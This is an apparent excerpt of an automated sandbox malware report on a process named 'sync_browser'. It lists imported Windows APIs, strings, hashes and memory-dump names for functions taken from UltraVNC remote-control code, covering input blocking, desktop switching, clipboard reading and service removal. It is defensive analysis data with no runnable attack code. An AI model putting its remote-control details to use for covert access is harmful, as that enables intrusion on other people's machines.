GetProcAddress.KERNEL32 ref: 00007FF7E509EA10
CreateEventA.KERNEL32 ref: 00007FF7E509EA62
CreateEventA.KERNEL32 ref: 00007FF7E509EA7F
CreateEventA.KERNEL32 ref: 00007FF7E509EA9C
CreateEventA.KERNEL32 ref: 00007FF7E509EAB9
CreateEventA.KERNEL32 ref: 00007FF7E509EAD6
CreateEventA.KERNEL32 ref: 00007FF7E509EAF3
CreateEventA.KERNEL32 ref: 00007FF7E509EB11
SetRectRgn.GDI32 ref: 00007FF7E509EB31
SetRectRgn.GDI32 ref: 00007FF7E509EB77

Strings

USER32, xrefs: 00007FF7E509E9ED
screenupdate, xrefs: 00007FF7E509EA6F
user1, xrefs: 00007FF7E509EAA9
mouseupdate, xrefs: 00007FF7E509EA8C
restart, xrefs: 00007FF7E509EB00
timer, xrefs: 00007FF7E509EA52
user2, xrefs: 00007FF7E509EAC6
quit, xrefs: 00007FF7E509EAE3
BlockInput, xrefs: 00007FF7E509EA06

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Create$Event$Rect$CriticalInitializeSection$AddressLibraryLoadProcTimemalloctime
String ID: BlockInput$USER32$mouseupdate$quit$restart$screenupdate$timer$user1$user2
API String ID: 33112563-1779637096
Opcode ID: 12d9c60dc68b12f73036889b8d411b766d5b4a22eba2f64e6bf1725f4b1690ab
Instruction ID: 2b9b68037691b588d514472f7619a5282d475595603f8f5ab60381ab9b018dcc
Opcode Fuzzy Hash: 12d9c60dc68b12f73036889b8d411b766d5b4a22eba2f64e6bf1725f4b1690ab
Instruction Fuzzy Hash: A4B15A32508BC58AE328EF78F86479AB7A4FB04B04F94453AC7AA42254DF7DF054C725

Function 00007FF7E5073770 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 192timewindowCOMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7E5073785
CreateCompatibleDC.GDI32 ref: 00007FF7E50737A2
CreateCompatibleBitmap.GDI32 ref: 00007FF7E50737C7
GetDIBits.GDI32 ref: 00007FF7E507382B
GetDIBits.GDI32 ref: 00007FF7E5073856
GetDeviceCaps.GDI32 ref: 00007FF7E5073876
GetDeviceCaps.GDI32 ref: 00007FF7E5073887
GetDeviceCaps.GDI32 ref: 00007FF7E50738D2
CreateDIBSection.GDI32 ref: 00007FF7E5073901
CreateCompatibleBitmap.GDI32 ref: 00007FF7E5073920
DeleteObject.GDI32 ref: 00007FF7E507393A
timeGetTime.WINMM ref: 00007FF7E5073940
SelectObject.GDI32 ref: 00007FF7E507394F
BitBlt.GDI32 ref: 00007FF7E5073988
SelectObject.GDI32 ref: 00007FF7E5073994
timeGetTime.WINMM ref: 00007FF7E507399A
timeGetTime.WINMM ref: 00007FF7E50739A6
GetPixel.GDI32 ref: 00007FF7E50739EB
timeGetTime.WINMM ref: 00007FF7E50739F6
ReleaseDC.USER32 ref: 00007FF7E5073A3C
DeleteDC.GDI32 ref: 00007FF7E5073A45
DeleteObject.GDI32 ref: 00007FF7E5073A53

Strings

benchmark.cpp : Blit time %i Getpixeltime %i Use getpixel= %i, xrefs: 00007FF7E50739FC
, xrefs: 00007FF7E5073961

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CreateObjectTimetime$CapsCompatibleDeleteDevice$BitmapBitsSelect$PixelReleaseSection
String ID: $benchmark.cpp : Blit time %i Getpixeltime %i Use getpixel= %i
API String ID: 2697070071-1399849103
Opcode ID: c75ecaf3627e65a832fba3c338a4f14dfa2348597fa0c2e187d05a457d19dc9d
Instruction ID: 747c38b7f7c390d72744f267b78fdab71995d4d58a3e2067c63e5578f98872ee
Opcode Fuzzy Hash: c75ecaf3627e65a832fba3c338a4f14dfa2348597fa0c2e187d05a457d19dc9d
Instruction Fuzzy Hash: 2D81853561864A87EB24AF21B824779B395FB88F80F845136D94EC7B68EF3CE414C711

Function 00007FF7E5096DD1 Relevance: 40.8, APIs: 15, Strings: 8, Instructions: 552filestringCOMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32 ref: 00007FF7E509407F
CloseDesktop.USER32 ref: 00007FF7E50940C2
GetLogicalDriveStringsA.KERNEL32 ref: 00007FF7E5096DF7
GetDriveTypeA.KERNEL32 ref: 00007FF7E5096E64
SHGetMalloc.SHELL32 ref: 00007FF7E509705C
SHGetSpecialFolderLocation.SHELL32 ref: 00007FF7E5097072
SHGetPathFromIDListA.SHELL32 ref: 00007FF7E5097087
SetErrorMode.KERNEL32 ref: 00007FF7E5097131
FindFirstFileA.KERNEL32 ref: 00007FF7E5097147
SetErrorMode.KERNEL32 ref: 00007FF7E5097152
lstrlenA.KERNEL32 ref: 00007FF7E5097288
FindNextFileA.KERNEL32 ref: 00007FF7E5097346
FindClose.KERNEL32 ref: 00007FF7E509735A
LeaveCriticalSection.KERNEL32 ref: 00007FF7E5097BAC

Strings

Desktop, xrefs: 00007FF7E5097011
f, xrefs: 00007FF7E5096E99
vncservice.cpp : SelectDesktop , xrefs: 00007FF7E509404B
vncservice.cpp : OpenInputdesktop2 OK, xrefs: 00007FF7E509409A
My Documents, xrefs: 00007FF7E5096FED
vncservice.cpp : OpenInputdesktop2 NULL, xrefs: 00007FF7E5094060
vncclient.cpp : vncClientThread , xrefs: 00007FF7E5094029
Network Favorites, xrefs: 00007FF7E5097030

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Find$CloseDesktopDriveErrorFileMode$CriticalFirstFolderFromInputLeaveListLocationLogicalMallocNextOpenPathSectionSpecialStringsTypelstrlen
String ID: Desktop$My Documents$Network Favorites$f$vncclient.cpp : vncClientThread $vncservice.cpp : OpenInputdesktop2 NULL$vncservice.cpp : OpenInputdesktop2 OK$vncservice.cpp : SelectDesktop
API String ID: 2965397059-206656798
Opcode ID: 97da4ef10995c7672ad6912daa4e382a39bd3aa79c8f896b0fc3866ca369b3f8
Instruction ID: 24e2727238bf364e437d37a1480a997c66b3188b4d37302e6e679ce19cd1d1ee
Opcode Fuzzy Hash: 97da4ef10995c7672ad6912daa4e382a39bd3aa79c8f896b0fc3866ca369b3f8
Instruction Fuzzy Hash: 47420822A086C685E760AB39C4683FD67A1FB85F94F840237EA1D876D9DF3CD545C322

Function 00007FF7E5081100 Relevance: 40.6, APIs: 19, Strings: 4, Instructions: 331filesleeplibraryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7E508119C
GetLastError.KERNEL32 ref: 00007FF7E50811A6
GetSystemDirectoryW.KERNEL32 ref: 00007FF7E508121F
lstrcatW.KERNEL32 ref: 00007FF7E5081233
LoadLibraryW.KERNEL32 ref: 00007FF7E5081240
GetProcAddress.KERNEL32 ref: 00007FF7E5081258
FreeLibrary.KERNEL32 ref: 00007FF7E5081290
sprintf_s.LIBCMTD ref: 00007FF7E50812BA
CreateFileW.KERNEL32 ref: 00007FF7E50812E3
GetLastError.KERNEL32 ref: 00007FF7E50812F2
WaitNamedPipeW.KERNEL32 ref: 00007FF7E508130B
GetCurrentProcessId.KERNEL32 ref: 00007FF7E508133B
WriteFile.KERNEL32 ref: 00007FF7E5081567
Sleep.KERNEL32 ref: 00007FF7E5081576
ReadFile.KERNEL32 ref: 00007FF7E5081594
OpenProcess.KERNEL32 ref: 00007FF7E50815A9
SetLastError.KERNEL32 ref: 00007FF7E50815E4
Sleep.KERNEL32 ref: 00007FF7E5081605
CloseHandle.KERNEL32 ref: 00007FF7E508160E

Strings

WinStationQueryInformationW, xrefs: 00007FF7E508124E
\\.\Pipe\TerminalServer\SystemExecSrvr\%d, xrefs: 00007FF7E50812A4
Winsta0\Winlogon, xrefs: 00007FF7E50811CC, 00007FF7E5081415
\winsta.dll, xrefs: 00007FF7E5081225

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorFileLast$LibraryProcessSleep$AddressByteCharCloseCreateCurrentDirectoryFreeHandleLoadMultiNamedOpenPipeProcReadSystemWaitWideWritelstrcatsprintf_s
String ID: WinStationQueryInformationW$Winsta0\Winlogon$\\.\Pipe\TerminalServer\SystemExecSrvr\%d$\winsta.dll
API String ID: 2145620463-2328478964
Opcode ID: 3526ed3cabb8580e2c2a759d620c59a707cfd12fe60383a580afbdfaae7cafc6
Instruction ID: 9e2616f76c3d0017125d865a62cbb8f5e2d0f3beefc67f1cde21f651bb8fb2de
Opcode Fuzzy Hash: 3526ed3cabb8580e2c2a759d620c59a707cfd12fe60383a580afbdfaae7cafc6
Instruction Fuzzy Hash: 2DE1D721A086CA85F720AF74E8547A9B3A1FF44B98F801236ED5D87B98EF3CD545C711

Function 00007FF7E5094D7E Relevance: 38.9, APIs: 18, Strings: 4, Instructions: 441COMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32 ref: 00007FF7E509407F
CloseDesktop.USER32 ref: 00007FF7E50940C2
GetSystemMetrics.USER32 ref: 00007FF7E5094E33
GetSystemMetrics.USER32 ref: 00007FF7E5094EBE
mouse_event.USER32 ref: 00007FF7E5094FBA
GetSystemMetrics.USER32 ref: 00007FF7E5094FE7
GetSystemMetrics.USER32 ref: 00007FF7E509500B
GetSystemMetrics.USER32 ref: 00007FF7E5095027
GetSystemMetrics.USER32 ref: 00007FF7E5095046
GetCursorPos.USER32 ref: 00007FF7E50950B1
SystemParametersInfoA.USER32 ref: 00007FF7E50950D8
SystemParametersInfoA.USER32 ref: 00007FF7E50950EA
SystemParametersInfoA.USER32 ref: 00007FF7E509510E
SystemParametersInfoA.USER32 ref: 00007FF7E5095122
mouse_event.USER32 ref: 00007FF7E5095149
SystemParametersInfoA.USER32 ref: 00007FF7E5095163
SystemParametersInfoA.USER32 ref: 00007FF7E5095175

Strings

vncservice.cpp : SelectDesktop , xrefs: 00007FF7E509404B
vncservice.cpp : OpenInputdesktop2 OK, xrefs: 00007FF7E509409A
vncservice.cpp : OpenInputdesktop2 NULL, xrefs: 00007FF7E5094060
vncclient.cpp : vncClientThread , xrefs: 00007FF7E5094029

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: System$InfoMetricsParameters$Desktopmouse_event$CloseCursorInputOpen
String ID: vncclient.cpp : vncClientThread $vncservice.cpp : OpenInputdesktop2 NULL$vncservice.cpp : OpenInputdesktop2 OK$vncservice.cpp : SelectDesktop
API String ID: 246551654-3977938048
Opcode ID: 07ec96cbe0227cada7fdc2a994b7b028b4ee8a196d7ed1bcbf72389d2ff94db8
Instruction ID: f953257388671f4534d8244dbeb53b70500034f08b7c42df8199664dac774a9d
Opcode Fuzzy Hash: 07ec96cbe0227cada7fdc2a994b7b028b4ee8a196d7ed1bcbf72389d2ff94db8
Instruction Fuzzy Hash: 2E22E232A086C586F764AB39D4687FE77A1FB84F58F844036EA4D876A8DF38D444C721

Function 00007FF7E5088590 Relevance: 38.8, APIs: 15, Strings: 7, Instructions: 266threadlibraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E50885D3
GetProcAddress.KERNEL32 ref: 00007FF7E50885EF
EnumDisplaySettingsA.USER32 ref: 00007FF7E508862B
EnumDisplaySettingsA.USER32 ref: 00007FF7E50886BD
FreeLibrary.KERNEL32 ref: 00007FF7E508874B
GetCurrentThreadId.KERNEL32 ref: 00007FF7E50888B9
GetThreadDesktop.USER32 ref: 00007FF7E50888C1
OpenInputDesktop.USER32 ref: 00007FF7E50888D9
SetThreadDesktop.USER32 ref: 00007FF7E50888EA
ChangeDisplaySettingsExA.USER32 ref: 00007FF7E508890C
ChangeDisplaySettingsExA.USER32 ref: 00007FF7E5088929
SetThreadDesktop.USER32 ref: 00007FF7E5088939
CloseDesktop.USER32 ref: 00007FF7E5088947
FreeLibrary.KERNEL32 ref: 00007FF7E5088950
FreeLibrary.KERNEL32 ref: 00007FF7E5088968

Strings

USER32, xrefs: 00007FF7E50885BC
DEVICE0, xrefs: 00007FF7E50887C8
mv video hook driver2, xrefs: 00007FF7E5088724
, xrefs: 00007FF7E5088846
EnumDisplayDevicesA, xrefs: 00007FF7E50885E5
mv2, xrefs: 00007FF7E5088836
\DEVICE, xrefs: 00007FF7E508879A

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Desktop$DisplayLibrarySettingsThread$Free$ChangeEnum$AddressCloseCurrentInputLoadOpenProc
String ID: $DEVICE0$EnumDisplayDevicesA$USER32$\DEVICE$mv video hook driver2$mv2
API String ID: 1729393483-4131161223
Opcode ID: 8fb70b05fa99fe765fa15744f32cba980a912edec1c339e6501a40cc58f4b770
Instruction ID: a9e75516d06b639373761d6df3142d7796c8e4773b60ab5f2d7a0aaf1145df24
Opcode Fuzzy Hash: 8fb70b05fa99fe765fa15744f32cba980a912edec1c339e6501a40cc58f4b770
Instruction Fuzzy Hash: 69B1C332B0964A86FB20EF34A4607B9B3A0FF44B54F945836EA5D9B688EF3CD505C711

Function 00007FF7E5089740 Relevance: 38.7, APIs: 7, Strings: 15, Instructions: 246libraryloaderCOMMON

Download Yara Rule

APIs

EnumDisplaySettingsA.USER32 ref: 00007FF7E50897A1
LoadLibraryA.KERNEL32 ref: 00007FF7E50897B6
GetProcAddress.KERNEL32 ref: 00007FF7E50897D2
FreeLibrary.KERNEL32 ref: 00007FF7E5089856
FreeLibrary.KERNEL32 ref: 00007FF7E5089891
CreateDCA.GDI32 ref: 00007FF7E50899F6
DeleteDC.GDI32 ref: 00007FF7E5089A04

Strings

Driver verion is not 1.00.22 , xrefs: 00007FF7E508991F
driver Active, xrefs: 00007FF7E50899BC
mv video hook driver2, xrefs: 00007FF7E5089814
1.00.22, xrefs: 00007FF7E50898CF
Driver not found: Perhaps you need to reboot after install, xrefs: 00007FF7E5089844
mv2.dll, xrefs: 00007FF7E50898AE
USER32, xrefs: 00007FF7E50897A7
driver info: required version 1.00.22, xrefs: 00007FF7E508983D
access denied, permission problem, xrefs: 00007FF7E5089A4D
EnumDisplayDevicesA, xrefs: 00007FF7E50897C8
DISPLAY, xrefs: 00007FF7E50899C7
Driver Not Activated, is the viewer current connected ?, xrefs: 00007FF7E5089A90
Is winvnc started with run as admin, no permission to start mirror driver? , xrefs: 00007FF7E5089B03
Driver version OK , xrefs: 00007FF7E50898EE
access ok, xrefs: 00007FF7E5089A19

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Library$Free$AddressCreateDeleteDisplayEnumLoadProcSettings
String ID: access denied, permission problem$ access ok$ driver Active$1.00.22$DISPLAY$Driver Not Activated, is the viewer current connected ?$Driver not found: Perhaps you need to reboot after install$Driver verion is not 1.00.22 $Driver version OK $EnumDisplayDevicesA$Is winvnc started with run as admin, no permission to start mirror driver? $USER32$driver info: required version 1.00.22$mv video hook driver2$mv2.dll
API String ID: 524771730-2664985301
Opcode ID: 7362158d55f1d2d21951a1544e2162c6409f4db9c5e1fad95bfb36cdb45f3486
Instruction ID: 5aaae7c3f0ee4820fc72271631d7dab028f90b573b9570f5a87eaa3ef57b4adb
Opcode Fuzzy Hash: 7362158d55f1d2d21951a1544e2162c6409f4db9c5e1fad95bfb36cdb45f3486
Instruction Fuzzy Hash: F2D17435609B4AE5E710EB29B86176973A0FB48B60F904237DA6D837D4DF3CE121C712

Function 00007FF7E5082E40 Relevance: 36.8, APIs: 14, Strings: 7, Instructions: 95serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32 ref: 00007FF7E5082E5D
OpenServiceA.ADVAPI32 ref: 00007FF7E5082EAD
GetLastError.KERNEL32 ref: 00007FF7E5082EBB
CloseServiceHandle.ADVAPI32 ref: 00007FF7E5082EE0

Part of subcall function 00007FF7E507A040: OpenInputDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A07A
Part of subcall function 00007FF7E507A040: GetCurrentThreadId.KERNEL32 ref: 00007FF7E507A083
Part of subcall function 00007FF7E507A040: GetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A08B
Part of subcall function 00007FF7E507A040: SetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0A6
Part of subcall function 00007FF7E507A040: MessageBoxA.USER32 ref: 00007FF7E507A0B7
Part of subcall function 00007FF7E507A040: SetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0C2
Part of subcall function 00007FF7E507A040: CloseDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0CB

Strings

Failed to open the service, xrefs: 00007FF7E5082F00
UltraVNC, xrefs: 00007FF7E5082E6F, 00007FF7E5082ECA, 00007FF7E5082EF9, 00007FF7E5082F81
Failed to delete the service, xrefs: 00007FF7E5082F7A
Failed to open service control manager, xrefs: 00007FF7E5082E76
uvnc_service, xrefs: 00007FF7E5082E98
Failed: Permission denied, xrefs: 00007FF7E5082ED1
Failed to query service status, xrefs: 00007FF7E5082F37

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$Open$CloseService$CurrentErrorHandleInputLastManagerMessage
String ID: Failed to delete the service$Failed to open service control manager$Failed to open the service$Failed to query service status$Failed: Permission denied$UltraVNC$uvnc_service
API String ID: 1921882253-4018834470
Opcode ID: 89c88f06f4114718cce365b56f1f704feee2962acf5f53bddd364f3665430f83
Instruction ID: eefa9b40e005ce99ac59b43b1904b2389d9f2d202bc56a768ea4e86d4406b82d
Opcode Fuzzy Hash: 89c88f06f4114718cce365b56f1f704feee2962acf5f53bddd364f3665430f83
Instruction Fuzzy Hash: 64411321A0864F81EA24BB25B835779A361FF49F54FC41037E90EC6259EF3CE545C722

Function 00007FF7E5071AE0 Relevance: 36.2, APIs: 24, Instructions: 196clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00007FF7E5071B0B
IsClipboardFormatAvailable.USER32 ref: 00007FF7E5071B67
GetClipboardData.USER32 ref: 00007FF7E5071B79
GlobalLock.KERNEL32 ref: 00007FF7E5071B8E
GlobalSize.KERNEL32 ref: 00007FF7E5071B9A
WideCharToMultiByte.KERNEL32 ref: 00007FF7E5071BD3
WideCharToMultiByte.KERNEL32 ref: 00007FF7E5071C0D
GlobalUnlock.KERNEL32 ref: 00007FF7E5071C38
IsClipboardFormatAvailable.USER32 ref: 00007FF7E5071C48
GetClipboardData.USER32 ref: 00007FF7E5071C58
GlobalLock.KERNEL32 ref: 00007FF7E5071C69
GlobalSize.KERNEL32 ref: 00007FF7E5071C75
GlobalUnlock.KERNEL32 ref: 00007FF7E5071CAA

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
